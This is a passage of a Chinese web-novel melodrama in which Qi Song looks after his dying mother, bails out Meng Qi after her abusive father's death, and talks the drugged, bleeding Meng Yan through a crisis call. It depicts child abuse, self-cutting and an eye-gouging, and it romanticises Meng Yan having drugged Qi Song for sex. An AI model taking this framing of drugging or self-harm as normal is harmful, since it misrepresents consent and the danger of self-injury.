她这一生到了死,最不放下的也就这俩儿子了。对于孟厌,她轻拿轻放,生怕这孩子钻了牛角尖。所以,即使看出了祁宋的为难,她还是开了口,让祁宋留在了老宅。
无法否认,她有自己的私心。
祁宋弯腰,捡起皮往一边的垃圾桶一扔,笑着岔开话题,“妈,不着急,我想领养一个孩子。”
“怎么想领养孩子了呢?”
“捡了一个小孩,觉得可怜,就想领养了。”
“儿子,你怪我吗?”
自祁宋有记忆以来,母亲叫他就是直接叫‘儿子’的。只是,不知道什么时候,这两个字他听得愈发的少了。
“为什么会怪你?”
祁宋笑了笑,将削好的苹果,切出小块,递给祁母。
祁母接住苹果,看着祁宋,心里苦涩蔓延。这是她爱了近二三十年的孩子,怎么又会因为血缘就一下子割舍了呢。
但,不因为血缘,她怎么又会违背了祁宋的意愿,将他强留在老宅呢?
“自你懂事以来,我就常常因为有你这么一个儿子而感到骄傲……”
祁母话语里都是怀念,她如今长大成人的祁宋,脑海里总是浮现出抱着她大腿央求着陪他一起玩的祁宋,“本来你也是受害者,可”
祁宋没有说话,他耐心的听着祁母诉说着。
“可到底是委屈了你。”
“孟厌他,在这个祁家,活不下去的。”
她活着手里尚有几分权几分势,倘若她一旦哪个早晨没有醒来,那么,孟厌又怎么能斗得过祁铮啊。
祁宋听出了祁母的言外之意,说是没有失望那是不可能的。
她想让他护着孟厌。
“妈,我知道了。”
“妈……只有你可以倚靠了。”
祁母心疼祁宋,但是没办法,她活不久了,孟厌这个孩子,丢了二十多年了,她没时间,也没办法教这个孩子保护自己,总得在死之前,给这个孩子一个保障。
祁宋敛眸,岔开话题,“尝尝,这家水果挺甜的。”
“好。”
祁母眼角湿润,忍着想要落泪的冲动。也就是这时,门被推开了。
两人看去,是孟厌了。
孟厌提着一壶热水,朝两人笑了笑,走到了床边,站在祁宋的身边。
“哥,妈。”
“都说不用了,这些事护工会做,快坐下来,好久不见,让我看看你。”
祁母坐直了些身子,拍了拍床,示意孟厌坐到床边。
孟厌没有动,房间里的唯一一把椅子祁宋坐着,他摇了摇头,“不久前腰疼,看了看医生,医生说让我多运动运动,我就不坐了。”
孟厌的语气算不上热络,公式化的不像是对待亲生母亲该有的态度。
“有没有大碍?”
祁母一脸担忧,“这里也有医生,要不让他们给你看看。”
“妈,医生说没有多大事,让孟厌多运动运动。”,祁宋见人想要下床连忙制止住,“你别急。”
“没多大事的。”
孟厌跟着点了点头。
祁母看着两人着急的样子,最后顺应着他们的意思,放弃了下床,靠了回去,“别骗我。”
“嗯,不会。”,祁宋回复着。
孟厌没有说话,沉默着。
—
两人待了一天,直到傍晚在疗养院晚禁的时候,两人才离开。
坐在副驾驶上,孟厌不像之前一样发呆,而是拿出了手机,不知和谁发着消息。
祁宋开着车,在进入城区后,孟厌开口了。
“前面左转弯把我放下来吧。”
祁宋意外地看了一眼孟厌,后者一脸平静,看着手机。祁宋收回视线,在车子左转弯后,停了下来。
察觉到车子停下的孟厌,将手机锁屏塞进了兜里,然后,笑吟吟说了一句再见,拉开车门下车。
动作行云流水,丝毫没有留恋。
祁宋透过后车镜看去,下车后的孟厌径直走向地铁。看着人走进地铁口处,祁宋启动车子离开。
夜色愈浓,晚上十一点,祁宋到了公寓。
到家后的祁宋,先给祁母报了平安后,拿起衣服径直走向了浴室。
在祁宋洗的差不多的时候,卧室响起手机铃声。祁宋将身上的泡沫冲干净,擦了身子后,穿上浴袍,走了出去。
铃声快要停下时,祁宋接到了电话。
“老大,姐弟三个现在都在警局。”
“出了什么事吗?”
“孟择国死了。”
祁宋擦头发的动作一顿,将毛巾往一边一扔,眼神冷冽,“和孟弃有关系吗?”
“有关,但不大。”
助理的声音停了下来,手机另一边传来走步的声音,大概十分钟后,助理的声音再次响起。
“孟择国侵犯孟弃,被孟弃找机会袭击了的脑袋。孟弃说,她不确定人死了没,只知道往外跑……现在,孟择国的死亡原因还没有出来,他的死不确定和孟弃有没有关系。”
“死亡鉴定什么时候能出来?”
“明天下午三点。”
“你先稳着他们,我大概早上九点能到。”
“好。”
说完,祁宋挂断了电话,将手机往一边一扔,去衣柜处翻找起衣服。
穿好衣服,他拿起手机,边看票边往外走去。很幸运,有高铁票,而机票什么的都已经告罄。
祁宋购买票后,给谈粟发了一个消息,便开车赶高铁去了。
另一边,孟厌握紧手里的手机,他驻足看着伟岸辉煌的建筑物,眼里浮现出一抹嘲弄。
在手机数字变为十二时,他抬脚朝别墅走去。
等他走到大厅的时候,早已经等候多时的祁铮冷着脸,开口的第一句话是——跪下。
在众人的沉默里,孟厌没有动,黝黑
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的眸子就那么看着祁铮,像是一潭死水,没有半点情感波动。
“祁总,你好像没有养过我。”
言外之意,也不用在我面前用你的权威。
“我倒是忘了你现在有别的人选了。”
说起这个,祁铮直接气的站了起来,他这一的动作落在管家眼里,管家识趣地朝门边走去,时刻观察着的仆人们也都纷纷离开。
“你和祁宋到底怎么回事?”
“没怎么回事,你不是讨厌祁宋吗?你不是忌惮他吗?”
孟厌的话没说完,祁铮弯腰拿起杯子就朝孟厌扔去,杯子在孟厌的脚边炸开了花。孟厌抬头,祁铮脸上是掩饰不住的愤怒,眼里似乎在冒火,就那恶狠狠地看着他。
“你算老几,把你接回来你还真当你是祁家少爷了。”
孟厌的每一句话都戳到了祁铮的痛点,祁铮自小展露出的才能,是被每一个祁家人看到眼里的。
尤其是已经去世的祁老爷子。
想到这里,祁铮的情绪突然平静了下来。他看着孟厌,眼神里闪过算计的暗芒。
“孟家的事我可以帮你,作为交换,和许家联姻。”
恰好许家那位纨绔喜欢男人,这样,也算是考虑了他的第一个儿子。
“我有拒绝的选择吗?”
孟厌很有自知之明,没有人能帮助他。
祁铮脸上浮现出笑意,对于孟厌对自己有自知之明这件事,显然愉悦到了他。
“你和祁宋的事,你母亲应该还不知道吧?”
“什么时候让我妹妹弟弟他们脱离了孟家,我什么时候就嫁。”
孟厌像是没有听到祁铮的询问般,他朝祁铮点了点头,说道:“我累了,您也早点休息。”
说完,孟厌转身离开。
祁铮知道,自己的目的达到了。
他打开手机,找到助理,吩咐下去后,平静地喊了声管家,很快有人出来收拾东西。
回到房间,孟厌将门反锁上。
他拿出口袋里的手机,右手指尖无意触碰到指纹感应处,屏锁被打开,他和祁铮的聊天框跳了出来。
孟厌垂眸,手指划过,点了上面的图片。
照片里是他和祁宋。
他踮着脚,整个人几乎挂在祁宋的身上,整张照片的拍摄的方向是面向他。
指尖双击后,照片被放大。
孟厌看到笑意盎然的自己。
他,似乎很开心。
一种很淡的感觉浮上心头,孟厌不知道那是什么感受,只是似乎与以往的仇恨、自厌不同。
可,那究竟是什么?
孟厌想不明白,他垂眸冥想了许久,直至屏幕自动熄灭,才回过神来。
看着漆黑的屏幕,孟厌愣了愣,没有再打开,而是起身朝浴室走去。
腹部不舒服感愈来愈烈,原本正常的步子乱了几分,到最后,孟厌是踉跄着打开了门,扑了进去。
跌在地上,膝盖处麻了一瞬,而后是刺骨的痛意。然而,孟厌来不及看,直奔马桶,趴在马桶上开始吐了起来。
没有任何东西,只有酸水。
吐到最后,被刺激到泪像断了线的珍珠颗颗坠地。
孟厌一手捂住腹部,一手摁在马桶边缘,整个人没有征兆般颤抖了起来。
他,好像要死了。
恍惚间,忘却了疼痛。
孟厌想着。
40.第 40 章
通宵赶路,天亮之后,祁宋来到了警局。刚下车,就看到了助理牵着两个孩子,在门口等着他。
目光相接,两个孩子和之前一样,下意识往后躲去。
只不过,这一次,他们抱的是助理的腿。
助理朝祁宋点点头,而后蹲下身子,揽着两个孩子,轻声细语道:“你们不认识他了吗?”
两个孩子下意识摇头,而后又止不住瞥向祁宋。一眼又一眼,脸上的坚定逐渐动摇,但到最后,他们都没有改口。
只是往助理怀里挤的动作停了下来,看样子是想起了祁宋,但是就算想起来,两人依旧没有说话,甚至连祁宋都不带看了。
祁宋到时没有在意,只是观察了两个孩子一番,并没有看到明显的外伤,而后他询问起孟弃,“孟弃呢?”
许是提到了孟弃,两个小孩再次看向了祁宋,眼神里满是希冀。
助理眼神沉了沉,因着两个孩子在,他并没有直接说具体情况,而是说了地点,“她在二楼右拐第一个房间里。”
听此,祁宋抬脚就要走。
两个小孩艰难理解了两个大人的对话,理清楚其中意思后,飞快松开手,扒拉开助理,朝祁宋跑去。
因为没有预料到,虽然余光里祁宋看到了身影,但是还是被扑了一个措不及防。稳了稳身子,扭头,俩孩子正使劲抱着他的腿。
“找姐,我姐。”
大的那一个开了一口,抬头,执拗地看着祁宋。黝黑的眸子里,带着祈求,语气有些焦灼。
祁宋垂眸看着两个小孩,拒绝的话转了一个弯,看向助理,“带着他们。”
大的小孩听懂,眼神里闪过激动,嘴张张合合,嗫嚅道:“对不起,但是谢谢。”
而后迅速收回手,拉住了另一个,“亮亮,松手,我们去找姐。”
声音很小,可以说是细小如蚊,祁宋仔细听才依稀分辨出了对方在说什么。而,那个小的,好似听见并理解清楚了,在大的伸手瞬间,松开了祁宋。
助理三两步靠近,两个孩子像是倦鸟归巢,又退回了助理的身边,紧紧搂住助理的腿。
祁宋看了看,助理一脸尴尬。祁宋收回视线,并没有说什么,抬脚朝警局走去。
—
警察并没有将孟弃关进审讯室,在了解过孟弃的情况后,考虑到孟弃的情绪,将其安置在了休闲室,由女警察陪着。
祁宋告知了对方和孟弃的关系后,被人带着往二楼走去,助理和俩孩子跟在后面。
推开门,祁宋就看到了窝在沙发角落的孟弃,她的身边坐着一位女警察,女警察弯着腰,小心翼翼靠近着,嘴里正说着些什么。
女警察听见动静,看向门口,在看到了一大群人时,她第一时间看向了队长,见队长点头,她知道要给受害者留足空间,随即起身离开。
不过起身前,她温柔地和孟弃说道:“你的哥哥来了,别怕。”
声音未落,孟弃抬头直直看向门口。
却在看到对方的一瞬间,她又再一次低下了头。
不是孟厌了。
也不会是孟厌。
她在痴心妄想什么,孟厌不喜欢累赘。
孟弃控制不住的回想着……最后思绪停留在了十三岁那年。
她十三岁那年,孟厌十五岁。在又一次家暴下,孟厌计划了逃跑,却因为她心疼母亲,整个计划彻底失败。原本应该奔向新生的那一晚,成了她和孟厌逃脱不了的噩梦。
孟厌恨她,曾红着眼眶指责过她,说他们是仇人……它想,如果不是十五岁,她代替他成了那些人□□玩|物,孟厌可能早早离开了……
十三岁毁了奔向光明的孟厌。
十五岁,禁锢住了向往自由的孟厌。
仿佛一切都巧合的厉害,命运一直在玩弄着他们。
不过,没关系。
孟厌自由了。
她杀了他们梦里的噩梦。
他们的痛苦将伴随着恶臭孟择国恶臭的血液彻底终结。
念及此,孟弃忍不住嘴角上扬,平静的眼神里出现一抹疯狂之意,现在,只要她承认杀了人,那么,她的痛苦也会伴随着死亡彻底消散。
孟弃抬头,旁边已经没有了人,她动身就要下地,却在下地前,感受到头顶被人抚摸,她侧头,看到了祁宋。
“你哥不知道这件事,等会我,我去给你保释带你离开。”
孟弃愣在原地,整个身子僵硬,不敢动一点,好似生怕惊走了这一瞬间的温情。
她成了她亲哥的累赘。
孟弃看着祁宋,他依旧是一副很冷的表情,几乎察觉不到对方情绪波动。
但,他的手是暖的。
“他过的好吗?”
孟弃直勾勾地看着祁宋,将上一次没有问的话问了出来。
孟厌曾经和她说过,人的眼睛是不会骗人的……大部分人,除了他孟厌。
所以,孟弃此刻一眨也不眨的看着祁宋,想要辨认出祁宋说的话是真是假。
祁宋一时语塞,孟厌过得好不好,他似乎从未在意过,回想起孟厌初次回到老宅与现在,单从外表看,孟厌确实没有受过苦,“他过的比你们的好。”
孟弃没有看出撒谎的痕迹,而后,她收回了视线,道了一句谢,“谢谢。”
谢的地方很多,除了哥哥生活变好之外,还有这一次,她知道大概几率要麻烦祁宋了,不过,如果没有回旋的余地,也不用强求的。
想到这里,孟弃在祁宋离开前,说道:“孟择国死了之后,所有的一切都不重要了。”
祁宋沉默一瞬,“活着挺重要的。”
说完,祁宋转身离开。
而带着俩孩子站在门口处的助理,有眼色的松开了拦着俩孩子的手。没了助理阻挡,俩孩子跌跌撞撞地跑向孟弃。
祁宋给了助理一个眼色,让其看着仨人,然后推开门朝外走去。
保释也要走程序,但是因为孟弃情况特殊,大队长提前打了一个电话,让其迅速核实了身份。然后,祁宋成功地保释了孟弃。
离开警局的祁宋,带着助理和三个孩子去了宾馆。
这一忙,忙到了中午。
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吃完饭后,祁宋看了看三人情况,回房小憩了一会。一夜没有休息,本应该睡得深沉,然而,祁宋开始做起了无厘头的梦境。
约莫一个钟头后,祁宋昏沉沉地睁开了眼睛。他虚度地望着天花板,梦里的一切像是被笼罩上一层薄雾,雾蒙蒙的,看不真切。
他不知道自己梦见了什么,只感觉胸口闷得慌。
祁宋缓了一会,才从巨大的坏情绪里剥离出来。他伸手看了一眼手机,下午两点零六,他压根就没有睡多久。
长长的舒了一口气,祁宋坐起身,下床洗漱。
等到收拾完,祁宋拿起床上的手里,向外走去。客厅里,助理看到后立马从沙发上起身,朝祁宋走去。
“他们在屋里休息。”
“嗯。说说具体情况。”
祁宋点头,两人朝沙发走去。
祁宋坐了下来,眼神示意,助理跟着坐在了另一边。随即,助理讲起了这几天的发生的所有事。
“我来到这里的时候,先去去了医院,找了护工替代涂助理照看孩子,然后根据你说的地址来找了孟弃。
但是来的不巧,并没有找到,我是在晚饭的时候,偶然碰见了他们三个,当时他们正在捡地上的东西吃,我怕他们吃坏肚子,带着他们去吃了晚饭。
晚饭后,我和孟弃表明了来意。并且她愿意配合我搜集证据,所以,我将录音笔等小巧的东西都给了她……但是,我是真的没有料到,孟择国那个老不死会做出这种畜牲的事。”
“证据现在在哪里?”
“孟弃的手里。”
祁宋一时不理解,“证据没有给警察?”
“孟弃出事后,整个人疯魔了一阵,还没有询问证据在哪里,在你来之后,她恢复了以往的平静,但是……”
是怕激到孟弃。
祁宋懂了,他视线看向孟弃在的房间,“那先不着急,等死亡鉴定报告。”
祁宋起身,“你先看着他们三个,我去一下医院。”
“好。”
—
祁宋去了医院,找了那个孩子的主治医生。在手机上,医生提过孩子的并发症,原本准备周日找时间再来的,但是人算不如天算,祁宋提前了两天。
到医院的时候,主治医生正在给孩子进行治疗。
祁宋等了将近一个小时,主治医生忙完了。
然后,两人去了办公室。
“……孩子的疾病是基因突变。”
“你在手机上和我说的时候只有并发症,怎么会基因突变呢?”
“孩子进行过一次急救,在急救时,发现了孩子的异常,这种基因突变是隐形的……所以,这个孩子即使解决了并发症,基因突变也是一个雷。”
“他的基因突变是后天的?”
“不是,目前怀疑是近亲结婚导致,不过,这都还需要进一步检测。”
祁宋突然意识到什么,心中倘着怒火,但脸上却不显,他礼貌一笑,对医生请求道:“医药费不是问题,孩子请你们全力救治。”
“一定。”
41.第 41 章
尸体检测报告是在下午五点的时候出来的,警察局来了电话,告知了结果。
孟择国确实被孟弃击中了头部,但是,这不足以杀死他。死者真正死因是食物中毒,因为食用未熟的四季豆,致使出现头晕、腹痛等症状,孟弃因此得以袭击头部而逃跑。
祁宋理清楚里面的利害关系,和警察道了谢挂断电话,然后给之前联系的律师打去电话。
孟弃必须从这件事里摘出去。
原本棘手的案子,随着祁宋带来的新消息出现了转机。
律师将早已经整合的资料导出优盘,询问祁宋后,他开始起草诉讼书。
提交的时间得以提前,这对于祁宋来说无疑是一个好消息。
他挂断电话,看了眼时间,现在是六点九分。
祁宋收起手机,转身离开楼梯间。
因为宾馆还有仨孩子的原因,祁宋并没有打算在医院多待。
离开医院前,他去看了重症监护室里的孩子,两米大的床上孩子仅占寸地,他的双眼闭着,两只胳膊上贴着各种的线。
祁宋看不懂,一边的仪器不断的工作着,吊着小孩的命。
瞧了许久,祁宋的手探出,隔着防护套,他轻轻地触碰到孩子的手。
却不料,仅一瞬,孩子睁开了眼睛。
黝黑的眸子转了转了,瞅着祁宋。祁宋瞬间屏住呼吸,生怕惊扰孩子,倘若哭了就要命了。然而,床上的孩子并没有哭,反而微微弯眸,笑了起来。
但病房里却依旧只有机器的滴滴声,可祁宋看着他的书笑容,心里却一暖。
这个孩子,好像认识他?
祁宋手探了出去,在距离孩子还有几公分的时候,孩子的手直接一动,抓住了祁宋的手指。
短小的手指却十分有力,就那么紧紧握着祁宋的手。
祁宋不禁看向那只小的手,几日不见,上面细小的伤口已经结疤,黑黢黢的手变白了许多。
祁宋弯了弯唇,心里感叹着生命地强大。他弯了弯腰,小孩跟着他的动作转动着眼珠子,祁宋一乐,启唇道:“活下来,我就养你。”
隔着防护服,声音嗡嗡的。
但,他好像听懂了,笑容深了深,嘴里的东西伴随着他的动作跟着动了动,那握住祁宋的手更为用力。
祁宋怕把线给扑腾掉,忙说:“别激动,你乖一点,下次来,我接你回家。”
孩子安静下来。
祁宋觉得神奇,对孩子的喜爱多了些。
就这样子,祁宋待了半个小时。最后,在规定的时间内,祁宋和孩子说了句再见,才离开病房。
出了病房,祁宋又去见了见孩子的主治医生,将不确定的东西了解清楚。然后,祁宋打了车离开医院。
回到宾馆里,三个孩子正坐在客厅看电视。听见开门的动静,俩孩子明显的颤了颤,往孟弃那里挤去。
孟弃看去,看到祁宋后,她拍了拍俩孩子,“是哥哥,别怕。”
俩孩子没有再挤来,缓慢地扭过头,看向祁宋。发现来的人对自己没有威胁,他们默默移开了点,不再那么紧挨孟弃。
祁宋抿唇,将他们的动静收入眼底,心沉了沉。
他朝三人走过去,最后坐在了离三人最远的地方。
孟弃不明所以,看着祁宋。
“人不是你杀的。”
祁宋没有解释自己远离他们坐的原因,他看着孟弃,将下午警察说的一大段话总结一下告诉孟弃。
“那是谁了?”
孟弃倒没有显得多高兴,好像这事对于她来说无关紧要。倒是两个小孩,身子坐直了些,忍不住瞟向祁宋。
“食物中毒。”
谁杀死了不重要,只要不是孟弃他们。
“哦,哪种食物?”
“四季豆。”
“那我知道是谁了,我妈了。”
孟弃笑了笑,“我妈这一生还能为我们做一件好事呢?真稀奇。”
孟母典型意义上的传统母亲,爱子爱夫,整个人以夫为天,她这一生的信仰和支柱就是丈夫。
“……所以啊,即使我爸再怎么使劲打她,让她去招待男人赚钱,再怎么凌辱我,殴打我们,她都不会管。
她,只会哭。”
孟弃平静地叙述着,她看着和他们一母同胞的哥哥,而手正不停地抚摸拍打着两个孩子的脊背,安抚着他们。
“我哥哥孟弃说过,我妈不爱我们,她最爱是她自己。我当时还反驳来着,明明平日里被打的半死,可只要那个那个人渣,哦,就是我爸,只要他吩咐,我妈她就算满身伤痕都会去做的……她是多么爱她的丈夫啊,以至于在她丈夫怒吼着棍子的时候,能丝毫没有犹豫去拿棍子……”
波澜不惊如同深潭一样,祁宋却听出了里面的字字泣血。
“嗯,我哥挨打最多了。”
说到这里,孟弃不免得声音提了提,有些尖锐,“他们把我哥关进地下室,唔,你可能不知道,就是那种放杂物的地方,不给吃的。最严重的那一次是,逃跑那一次”
说到这里,孟弃连同安抚身边孩子的手一起停了下来,像是在回忆。
她眉头紧蹙,紧抿双唇。
祁宋没有说话,静静地等着。
“嗯,就是那一次,我哥被关了一个月。我因为我妈的原因免了灾,前一周,我找不到机会去看我哥,孟厌。后来,摸索到规律,加上我爸他那段时间有了钱,所以我轻而易举潜了进去,给他送了吃的喝的,以及伤药。
我哥体质原因,他是不容易留疤的,但那一次,他的疤近乎两年才彻底消退。至今,那里还有伤痕。”
祁宋猛然想起来,在孟厌胳膊的外,靠近胳膊肘那里,那块皮肤颜色确实比周围的颜色深一些,如今一看,确实很像是疤痕。
“你们后来没有想要跑过吗?”
“有,我哥有。”
孟弃手再次安抚起身边的孩子,声音突然恢复了正常,一如开始那般,十分平静,“但是,当时诺诺出生了。”
“我妈生了孩子之后,整个人,唔,怎么说呢,更为疯魔了吧。他们都不管这个孩子,曾使唤我,让我去把她扔了。”
孟弃刚说到‘扔了’俩字,孟诺突然站了起来,直愣愣跪来下来,看着仰头看着孟弃,“姐,你别丢我,你别不要我。”
孟亮看到小姐姐的样子,也跟着跪了下来,
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嗫嚅着,“别不要,不要……”
突然的状况,让祁宋脑子一片空白,他看着面前跪在地上的两个孩子,恍然间,好像看到了跪在地上的孟厌。
“起来。”
孟弃的声音严厉,两个孩子抖了抖,最后站了起来。孟弃脸沉了沉,“我有没有说过除了爸爸妈妈面前,你们谁都不可以跪?”
“说过。”
“嗯……”
“这是最后一次,不然下一次,你们一天不可以吃饭。”
“不会了,姐,我们不会了。”
孟诺声音中带着哭意,反复保障后,在看到孟弃伸手的时候,扑了过去。
而小的也不敢哭,默默掉着金豆子。
孟弃一边一个,揽着他们,轻轻拍着哄他们。
她抬眸,看到了失神的祁宋。
“吓到你了吗?”
祁宋回神,摇头,他比他们年长不少,怎么会被吓到。
只是……
他好像在无意中,将窥探了孟厌的所有过往。
而既然如此了,祁宋觉得不如索性全都了解了。毕竟,母亲说,要他护着孟厌。
“为什么要下跪呢?”
“我爸定下的规矩。”
孟弃回答。
只不过,后来成了习惯。
比如,她,他哥,她妈。
“孟弃,你有想干的事吗?”
话题异常跳跃,孟弃先是侧头看了身边的小孩。
“你,作为个体的你,你又想干的事吗?”
孟弃到口的话消匿在嘴里。
她?
只考虑她吗?
孟弃想了一圈没想到,沉默不语。
“不着急,等三天后,你再回复我这个问题。”
祁宋看出了孟弃的迷茫,视线扫过孟弃身边的小孩子,最后,他站了起来,“孟弃,证据在你手里,你的所有,包括自由,都在你的手里。”
从此,没有人能再左右你。
孟弃愕然,看着祁宋离开的背影,眼眶干涩。
真可惜,她这一生的泪好像都流完了。
最后的最后,孟弃也只是眼眶红了红。
祁宋回了房,他摸了摸裤兜里的手机,许久后,他拿出来看了看时间,已经是晚上八点了。
祁宋点进了微信,最高处置顶下有一个红点,是方衍发来的消息。
祁宋点进去,看到了方衍发来的自拍照照片,祁宋点开,看清楚了背景图上模糊不清的字。
某某某飞机候车室。
祁宋退出图片,打了一个问号。
半天,没有等到回应。
最后,祁宋只能发了一个‘到了报一个平安’,然后退出了聊天界面。
在方衍下面的下面,是孟厌。
图像是一片漆黑,鬼神差使祁宋打开了聊天框,里面的内容十分简单,清一色的问好。
祁宋翻了翻,最后点击了孟厌的头像,画面跳转后,祁宋再次点击,整张图片被放大。
乌漆麻黑的背景里,好像有些小光亮。祁宋忍不住双击,放大后才发现小的不能再小那个,是星星。
这是一张星空图。
42.第 42 章
“嗡嗡嗡——”
星空图消失,语音通话跳了出来。
祁宋心一惊,有种做贼心虚感,他看着屏幕,是孟厌了。
他盯着屏幕许久,并没有第一时间接通,指尖微屈,不知道自己在犹豫什么。
时间一分一秒流逝,在即将挂掉的时候,祁宋点了绿色的键。
刚点,祁宋就有些后悔。
他好像没有话和孟厌说。
祁宋不语,看着屏幕上的数字跳动,而电话的另一端也没有声音。一时间,祁宋有些奇怪,猜测着对面的人在做什么。
“嗯……”
略微急促地呼吸声,尾音上翘,自手机传递而来,祁宋瞬间明白了孟厌如今的状况。
这种声,他异常熟悉,孟厌的每一次动情的尾音颤而扬……
孟厌在干什么?
一时间,祁宋整个人竟生出异样的难堪,心里对孟厌并不多的同情和怜悯消失殆尽。
“孟厌,你在干什么?”
没有回应,祁宋手握紧了手机,眉峰蹙起,眼里闪过一丝嫌恶。能打电话让他听床戏,孟厌是第一个人。
“不说话,我挂了。”
“别……”
指尖悬空在红色摁钮上方,祁宋皱眉,他好像听见风声了……
“哥、哥,你能、别,别挂吗?”
一句话,说得断断续续,带着浓重的哭腔,以及,若有若无的风声。
祁宋无端的心一紧,“打开摄像头。”
命令似的话,催促着孟厌。
孟厌抬眸看了看四周,空荡荡的,他垂头看向自己的衣服,全都是血,只要他打开摄像头,只要他和祁宋视频,对方就知道他在天台上。
会吓到哥哥的吧?
没等孟厌想明白,身体翻滚而上的冲动,让他无暇再思考,潜意识里的趋利避害,让他无声的拒绝着祁宋。
“孟厌。”
“哥,我、好像……闯祸了。”
风越来越大了,孟厌坐在护墙上,迎面而来的风卷起他的衣角,略长的头发飞扬着,遮盖住了一部分面前的视线。
孟厌想要祁宋。
他想要祁宋回来*他。
怎么想的,孟厌怎么说。
祁宋深吸了一口气,从手机里传来的话能察觉到对方此刻已经意识模糊了,怕孟厌真的出事了,祁宋压着急躁,缓声哄着对方,“先让我看看你,行吗?”
很温柔的话,让孟厌有些怔愣。
他皱眉,思考着祁宋说的话。
“我不,不想要你看。”
“那你想要谁看?”
“哥,你回来我给你看,你”
孟厌说着说着,停了下来,他忘记了想要说的话。
“我怎么了?”
“哥,我杀人了。”
孟厌看到自己手上的血,想到了倒在浴室里的人,他的语气有些兴奋,“他看了我,我挖了他的眼睛,我”我就要给他陪葬啦。
孟厌的话没说完,祁宋提了提声音,打断了后半句话,“我给你兜底。”
“兜底?兜?底?”
孟厌喃喃自语,一波又一波的情欲里,他早就丢失了所有的理智,“不,哥,你不会,我是孟厌的啊。”
认知里,祁宋不会喜欢孟厌。
“我知道你是孟厌,我说了,我给你兜底。”
本应该是不耐烦的话,在祁宋刻意放轻的声音里,倒显得跟哄孩子似的。
孟厌安静了下来,他摸了摸一边的手小刀,摸索到后拿着往自己的大腿上又划了一刀。
黑色的裤子被划烂,红色的血液争先恐后涌出,很快,黑色裤子颜色变深。
把刀一扔,刺痛作用下,孟厌清醒了不少。他想,或许祁铮买的药是劣质品,不然,他怎么时好时坏呢?
宽大的矮墙,足矣躺下一个人。
孟厌躺了下来,望着天空,一边是正在通话的手机。
手机的另一端的人仍在哄着他。
突然,孟厌笑出了声,他移了移身体,靠近手机,“哥,你会哄人哎。”
说话间,孟厌的腿微微外移垂落在外,血液顺势往下滑,不出一分钟,一滴又一滴的血从高坠落,然后极速撞击在地面上,绽放开一朵又一朵的小红花。
“我哄好你了吗?”
祁宋只能凭借着寥寥数语,以及时不时传来的风声,判断着孟厌此刻的状态。
“唔……没有。”
孟厌眼尾上翘,声音俏皮,像是和爱人撒娇一样,“你要不要再哄哄看?”
“你乖一点,我回去给你带礼物。”
“礼物啊?吃的?还是玩的?”
“都有。”
“怎么感觉哥哥好敷衍。”
“不喜欢礼物,还是不喜欢吃的?或者是不喜欢玩的?”
“哥哥,哄人要投其所好。”
“那么,那孟厌,你喜欢什么?”
“我?我啊……”孟厌抬眸,天空湛蓝无比,卷卷白云轻飘飘的,他想起来那天看到的小鸟。
然后,祁宋听到了孟厌满怀希冀的声音。
他说,他喜欢鸟。
他还说,他喜欢自由。
“……所以,哥哥,你要送给我自由吗?”
“你想要,我给你。”
“那……哥哥你要记得这句话啊。”
孟厌眨了眨眼,视线内白茫茫的,情欲散去后满是困倦,他说着说着声音越来越小,祁宋听得心惊胆战。
“孟厌,我哄好你了吗?”
“哄好了。”
孟厌微微侧身,搭在外面的右脚移了回来,他声音里都是困倦。
“那我们可以视频了吧?”
“哥哥,会吓到你的。”
孟厌提了提精神,回复。
“你找个吓不到我的地方。”
“哥哥是想我了吗?”
“是,我想你了。”
孟厌身体一僵,随着祁宋的声音落下,那一刻,仿佛有什么东西在他的心里炸开。有点委屈,不知道为什么,孟厌忍不住想要哭。
“祁宋,我讨厌你。”
“嗯,知道,所以,你什么时候和我视频?”
“为什么要看我?是怕我自杀吗?”
孟厌直言不讳,“哥哥,放心,我不会自杀,我还想和哥哥在一起一辈子呢。”
拥有了他的人生,那么,他拥有对方不是理所当然吗?
药,是他下的,床,也是他爬的。
更甚至,他在计划着公开他们的关系。
祁宋,只能是他的。
“嗯,我放心,所以,
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开视频。”
丝毫没有被带歪的祁宋,再一次提及开视频。
“怕吓到哥哥,所以,哥哥等等。”
孟厌起身,下了矮墙。
祁宋这么一等,等到了一个询问。
“哥哥,没地方去了,我在家的门口。”
家没有定语,满是孟厌的小心思。
“密码五五六九七八。”
“好哦,谢谢哥哥收留。”
手机了传来滴的一声,再然后就是关门的声音。祁送没有第一时间催促,而是等着孟厌。
在一阵蟋蟋蟀蟀的声音后,孟厌挂断了电话。然后,屏幕上再次跳跃起视频通话。
祁宋接通了电话,入目是没有衣服遮盖的胸膛。祁宋眉头一跳,孟厌往后站了站,然后似乎是跪了下来。
“去床上。”,祁宋无奈说道。
“不行,会弄脏哥哥的床。”
伤口并没有止住,脱了裤子,淌血的地方显得面目狰狞。
孟厌并不想让血液染脏床单。
“脏了再换,去床上。”,祁宋催促着,“让我看看你的伤口。”
语音电话持续了一路,路途中,司机是开错了路,孟厌提醒后,他从司机疑惑的语气里猜出了大概。
“好哦。”
孟厌直接答应,这倒是让祁宋有瞬间的讶然。而后意识到,祁宋觉得好笑,明明之前孟厌可比这个乖顺许多。
镜头后置,伤痕累累的大腿出现在屏幕上。孟厌举着手机靠近,伤口处还在溢出着鲜血。
“还有吗?”
祁宋的语气冷了冷,那伤口的深度绝对不浅。
“嗯,你爸还给我喂了药。”
举了一会,孟厌嫌累,把镜头一调,将手机放在腹部的地方,悠悠说着,“除此之外也没了,伤在另一个人身上,我啊……吃不了亏。”
屏幕里没有人,只有天花板。
祁宋深吸了一口气,“去柜子里找衣服穿上,我打电话让人接你去医院。”
“衣服不合身。”
“合身,最靠里面的。”
祁宋说了位置后,挂断电话。
不过在挂断电话前,祁宋哄着孟厌,让人乖一点。
电话挂断,祁宋给谈粟打了电话,大概讲了事情原委,拜托对方先照顾一下孟厌。谈粟知道人正在受伤,忙不迭从沙发上起身,跟厨房里的人交代了一声就拿着钥匙匆匆离开。
而祁宋,在和谈粟打完电话后,房门被敲响了。
祁宋揉了揉眉心,趿着拖鞋去开门。
来的人是助理,身后还跟着三个孩子。
“老大,凶手落网了。”
注意到祁宋疲惫的脸色,助理长话短说,“孟母因为驾车事故进了局子,恰好警局的人收到了我们的证据,现在已经将人关起来了。”
“醉驾?”
“不是她喝醉了,是她和别人撞了,那个醉驾的人坚持要报警。”
祁宋觉得奇怪,怎么会有醉驾人的报警呢?
“现在需要去警局吗?”
“孟母要求见自己的孩子,也就是孟弃他们。”,助理回复。
祁宋视线落在孟弃身上,后者点了点头,弯唇笑了笑,对祁宋说道:“我想要去看看她。”
祁宋叹了一口气,“那走吧。”
